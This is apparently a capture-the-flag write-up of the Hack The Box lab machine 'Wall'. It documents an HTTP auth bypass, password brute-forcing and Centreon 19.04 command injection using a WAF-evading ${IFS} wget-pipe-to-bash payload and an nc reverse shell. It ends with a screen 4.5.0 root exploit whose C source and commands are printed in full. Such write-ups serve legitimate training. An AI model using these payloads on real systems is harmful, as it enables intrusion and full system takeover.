Hack The Box - Wall
Hack The Box - Wall
Quick Summary
Hey guys, today Wall retired and here’s my write-up about it. It was an easy Linux machine with a web application vulnerable to RCE, WAF bypass to be able to exploit that vulnerability and a vulnerable suid binary. It’s a Linux machine and its ip is 10.10.10.157, I added it to /etc/hosts as wall.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/wall# nmap -sV -sT -sC -o nmapinitial wall.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 13:59 EST
Nmap scan report for wall.htb (10.10.10.157)
Host is up (0.50s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA)
| 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA)
|_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 241.17 seconds
root@kali:~/Desktop/HTB/boxes/wall#
We got http on port 80 and ssh on port 22. Let’s check the web service.
Web Enumeration
The index page was just the default apache page:
So I ran gobuster and got these results:
root@kali:~/Desktop/HTB/boxes/wall# gobuster dir -u http://wall.htb/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://wall.htb/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2019/12/06 14:08:02 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/index.html (Status: 200)
/monitoring (Status: 401)
/server-status (Status: 403)
The only interesting thing was /monitoring, however that path was protected by basic http authentication:
I didn’t have credentials, I tried bruteforcing them but it didn’t work so I spent sometime enumerating but I couldn’t find the credentials anywhere. Turns out that by changing the request method from GET to POST we can bypass the authentication:
root@kali:~/Desktop/HTB/boxes/wall# curl -X POST http://wall.htb/monitoring/
<h1>This page is not ready yet !</h1>
<h2>We should redirect you to the required page !</h2>
<meta http-equiv="refresh" content="0; URL='/centreon'" />
root@kali:~/Desktop/HTB/boxes/wall#
The response was a redirection to /centreon:
Centreon is a network, system, applicative supervision and monitoring tool. -github
Bruteforcing the credentials through the login form will require writing a script because there’s a csrf token that changes every request, alternatively we can use the API.
According to the authentication part we can send a POST request to /api/index.php?action=authenticate with the credentials. In case of providing valid credentials it will respond with the authentication token, otherwise it will respond with a 403.
I used wfuzz with darkweb2017-top10000.txt from seclists:
root@kali:~/Desktop/HTB/boxes/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.4 - The Web Fuzzer *
********************************************************
Target: http://wall.htb/centreon/api/index.php?action=authenticate
Total requests: 10000
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000005: 403 0 L 2 W 17 Ch "qwerty"
000000006: 403 0 L 2 W 17 Ch "abc123"
000000008: 200 0 L 1 W 60 Ch "password1"
000000004: 403 0 L 2 W 17 Ch "password"
000000007: 403 0 L 2 W 17 Ch "12345678"
000000009: 403 0 L 2 W 17 Ch "1234567"
000000010: 403 0 L 2 W 17 Ch "123123"
000000001: 403 0 L 2 W 17 Ch "123456"
000000002: 403 0 L 2 W 17 Ch "123456789"
000000003: 403 0 L 2 W 17 Ch "111111"
000000011: 403 0 L 2 W 17 Ch "1234567890"
000000012: 403 0 L 2 W 17 Ch "000000"
000000013: 403 0 L 2 W 17 Ch "12345"
000000015: 403 0 L 2 W 17 Ch "1q2w3e4r5t"
^C
Finishing pending requests...
root@kali:~/Desktop/HTB/boxes/wall#
password1 resulted in a 200 response so its the right password:
RCE | WAF Bypass –> Shell as www-data
I checked the version of centreon and it was 19.04:
It was vulnerable to RCE (CVE-2019-13024, discovered by the author of the box) and there was an exploit for it:
root@kali:~/Desktop/HTB/boxes/wall# searchsploit centreon
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
----------
Redacted
----------
Centreon 19.04 - Remote Code Execution | exploits/php/webapps/47069.py
----------
Redacted
----------
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@kali:~/Desktop/HTB/boxes/wall#
But when I tried to run the exploit I didn’t get a shell:
So I started looking at the exploit code and tried to do it manually.
The vulnerability is in the poller configuration page (/main.get.php?p=60901) :
poller_configuration_page = url + "/main.get.php?p=60901"
The script attempts to configure a poller and this is the payload that’s sent in the POST request:
payload_info = {
"name": "Central",
"ns_ip_address": "127.0.0.1",
# this value should be 1 always
"localhost[localhost]": "1",
"is_default[is_default]": "0",
"remote_id": "",
"ssh_port": "22",
"init_script": "centengine",
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
"nagiostats_bin": "/usr/sbin/centenginestats",
"nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
"centreonbroker_cfg_path": "/etc/centreon-broker",
"centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
"centreonbroker_logs_path": "",
"centreonconnector_path": "/usr/lib64/centreon-connector",
"init_script_centreontrapd": "centreontrapd",
"snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
"ns_activate[ns_activate]": "1",
"submitC": "Save",
"id": "1",
"o": "c",
"centreon_token": poller_token,
}
nagios_bin is the vulnerable parameter:
# this value contains the payload , you can change it as you want
"nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
I checked the configuration page and looked at the HTML source, nagios_bin is the monitoring engine binary, I tried to inject a command there:
When I tried to save the configuration I got a 403:
That’s because there’s a WAF blocking these attempts, I could bypass the WAF by replacing the spaces in the commands with ${IFS}. I saved the reverse shell payload in a file then I used wget to get the file contents and I piped it to bash.
a:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
modified parameter:
"nagios_bin": "wget${IFS}-qO-${IFS}http://10.10.xx.xx/a${IFS}|${IFS}bash;"
root@kali:~/Desktop/HTB/boxes/wall# python exploit.py http://wall.htb/centreon/ admin password1 10.10.xx.xx 1337
[+] Retrieving CSRF token to submit the login form
exploit.py:38: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.
The code that caused this warning is on line 38 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.
soup = BeautifulSoup(html_content)
[+] Login token is : ba28f431a995b4461731fb394eb01d79
[+] Logged In Sucssfully
[+] Retrieving Poller token
exploit.py:56: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e
nvironment, it may use a different parser and behave differently.
The code that caused this warning is on line 56 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.
poller_soup = BeautifulSoup(poller_html)
[+] Poller token is : d5702ae3de1264b0692afcef86074f07
[+] Injecting Done, triggering the payload
[+] Check your netcat listener !
root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.157] 37862
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
www-data@Wall:/usr/local/centreon/www$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/wall# stty raw -echo
root@kali:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
www-data@Wall:/usr/local/centreon/www$ export TERM=screen
www-data@Wall:/usr/local/centreon/www$
Screen 4.5.0 –> Root Shell –> User & Root Flags
There were two users on the box, shelby and sysmonitor. I couldn’t read the user flag as www-data:
www-data@Wall:/usr/local/centreon/www$ cd /home
www-data@Wall:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Jul 4 00:38 .
drwxr-xr-x 23 root root 4096 Jul 4 00:25 ..
drwxr-xr-x 6 shelby shelby 4096 Jul 30 17:37 shelby
drwxr-xr-x 5 sysmonitor sysmonitor 4096 Jul 6 15:07 sysmonitor
www-data@Wall:/home$ cd shelby
www-data@Wall:/home/shelby$ cat user.txt
cat: user.txt: Permission denied
www-data@Wall:/home/shelby$
I searched for suid binaries and saw screen-4.5.0, similar to the privesc in Flujab I used this exploit.
The exploit script didn’t work properly so I did it manually, I compiled the binaries on my box:
libhax.c:
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
rootshell.c:
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
root@kali:~/Desktop/HTB/boxes/wall/privesc# nano libhax.c
root@kali:~/Desktop/HTB/boxes/wall/privesc# nano rootshell.c
root@kali:~/Desktop/HTB/boxes/wall/privesc# gcc -fPIC -shared -ldl -o libhax.so libhax.c
libhax.c: In function ‘dropshell’:
libhax.c:7:5: warning: implicit declaration of function ‘chmod’ [-Wimplicit-function-declaration]
7 | chmod("/tmp/rootshell", 04755);
| ^~~~~
root@kali:~/Desktop/HTB/boxes/wall/privesc# gcc -o rootshell rootshell.c
rootshell.c: In function ‘main’:
rootshell.c:3:5: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
3 | setuid(0);
| ^~~~~~
rootshell.c:4:5: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
4 | setgid(0);
| ^~~~~~
rootshell.c:5:5: warning: implicit declaration of function ‘seteuid’ [-Wimplicit-function-declaration]
5 | seteuid(0);
| ^~~~~~~
rootshell.c:6:5: warning: implicit declaration of function ‘setegid’ [-Wimplicit-function-declaration]
6 | setegid(0);
| ^~~~~~~
rootshell.c:7:5: warning: implicit declaration of function ‘execvp’ [-Wimplicit-function-declaration]
7 | execvp("/bin/sh", NULL, NULL);
| ^~~~~~
rootshell.c:7:5: warning: too many arguments to built-in function ‘execvp’ expecting 2 [-Wbuiltin-declaration-mismatch]
root@kali:~/Desktop/HTB/boxes/wall/privesc#
Then I uploaded them to the box and did the rest of the exploit:
www-data@Wall:/home/shelby$ cd /tmp/
www-data@Wall:/tmp$ wget http://10.10.xx.xx/libhax.so
--2019-12-07 00:23:12-- http://10.10.xx.xx/libhax.so
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16144 (16K) [application/octet-stream]
Saving to: 'libhax.so'
libhax.so 100%[===================>] 15.77K 11.7KB/s in 1.3s
2019-12-07 00:23:14 (11.7 KB/s) - 'libhax.so' saved [16144/16144]
www-data@Wall:/tmp$ wget http://10.10.xx.xx/rootshell
--2019-12-07 00:23:20-- http://10.10.xx.xx/rootshell
Connecting to 10.10.xx.xx:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16832 (16K) [application/octet-stream]
Saving to: 'rootshell'
rootshell 100%[===================>] 16.44K 16.3KB/s in 1.0s
2019-12-07 00:23:22 (16.3 KB/s) - 'rootshell' saved [16832/16832]
www-data@Wall:/tmp$
www-data@Wall:/tmp$ cd /etc
www-data@Wall:/etc$ umask 000
www-data@Wall:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
www-data@Wall:/etc$ /bin/screen-4.5.0 -ls
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
www-data@Wall:/etc$ /tmp/rootshell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data),6000(centreon)
#
And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.
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